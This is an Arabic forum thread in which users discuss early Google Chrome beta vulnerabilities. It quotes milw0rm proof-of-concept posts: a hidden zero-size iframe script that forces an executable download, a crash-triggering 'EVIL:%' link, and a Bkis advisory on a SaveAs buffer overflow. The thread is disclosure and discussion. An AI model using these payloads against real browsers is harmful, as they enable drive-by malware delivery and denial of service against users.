ثغره متصفح Google Chrome

[ابو سعود الفلاني]

السلام عليكم يا جماعة الخير

الشهر عليكم مبارك

طبعاً الكل عارف عن المتصفح رهيب قوقل انا واحد نزلته

وحصلت موضوع بأحد المنتديات وماله ساعات يقولون فيه كذا ثغره

وهذي الثغرات اعرضها للأهل الاختصاص ياليت تفيدوني قبل ما احذف المتصفح

معقوله متصفح من قوقل وتوه جديد فيه ثغرات وماكمل يومين ( مالي الا منتدي زيزوم اخذ العلم منكم:d

الثغره الاولي

*************************************************************************** 
 Author: nerex 
 E-mail: nerex[at]live[dot]com 
 
 Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically 
 downloaded to the user's computer without any user prompt. 
 
 This proof-of-concept was created for educational purposes only. 
 Use the code it at your own risk. 
 The author will not be responsible for any damages. 
 
 Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA) 
************************************************************************** 
> 
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">'); 
 
 
# milw0rm.com [2008-09-03]

الثغره الثانيه

--------------------------------------------------- 
Software: 
Google Chrome Browser 0.2.149.27 
 
Tested: 
Windows XP Professional SP3 
 
Result: 
Google Chrome Crashes with All Tabs 
 
Problem: 
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version  
0.2.149.27. A crash can result without user interaction. When a user is made to visit  
a malicious link, which has an undefined handler followed by a 'special' character,  
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed.  
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the  
EIP register at 0x01002FF4. 
 
Proof of Concept: 
http://evilfingers.com/advisory/google_chrome_poc.php 
 
Credit: 
Rishi Narang (psy.echo) 
www.greyhat.in 
www.evilfingers.com 
--------------------------------------------------- 
 
PoC Working/Exploit: 
Click for a demo <a href="EVIL:%">HERE</a> 
 
# milw0rm.com [2008-09-03]

 

[Demo-dashDemo-dash is verified member.]

مرحبا اخي
رأيي انا ان المتصفح جديد واكيد حيكون فيه اخطاء وبعض الملاحظات
المفروض لما يطلعون يحطونه تجربه مايعتمدونه بشكل رسمي

انا انصحك انك ماتستخدمه لأن التقرير فيه حاجات تخوف :d:
وانت براحتك
اللأفضل انتظار الإصدار الثاني او المحدث << هذا اذا بيطلعونه عشان ينضج المتصفح ويكتمل
ويصلحون برضوا الاخطاء الي فاتت
بالتوفيق يارب
​

 

[ابو سعود الفلاني]

تسلم أخوي ديمو على الرد

وتوكلنا على الله حذفناه :?:

 

[الشيخ محمود]

PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.

Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title (<title> tag in HTML), the program causes a stack-based overflow and makes
it possible for attackers to execute arbitrary code on users’ systems.
· How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code.
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would
be executed, giving him the privilege to make use of the affected system.
· Discoverer : Le Duc Anh - SVRT - Bkis
· About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols
and embedded systems…
· Website : security.bkis.vn
· Mail : svrt[at]bkav.com.vn

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

وهذي أخرى بعد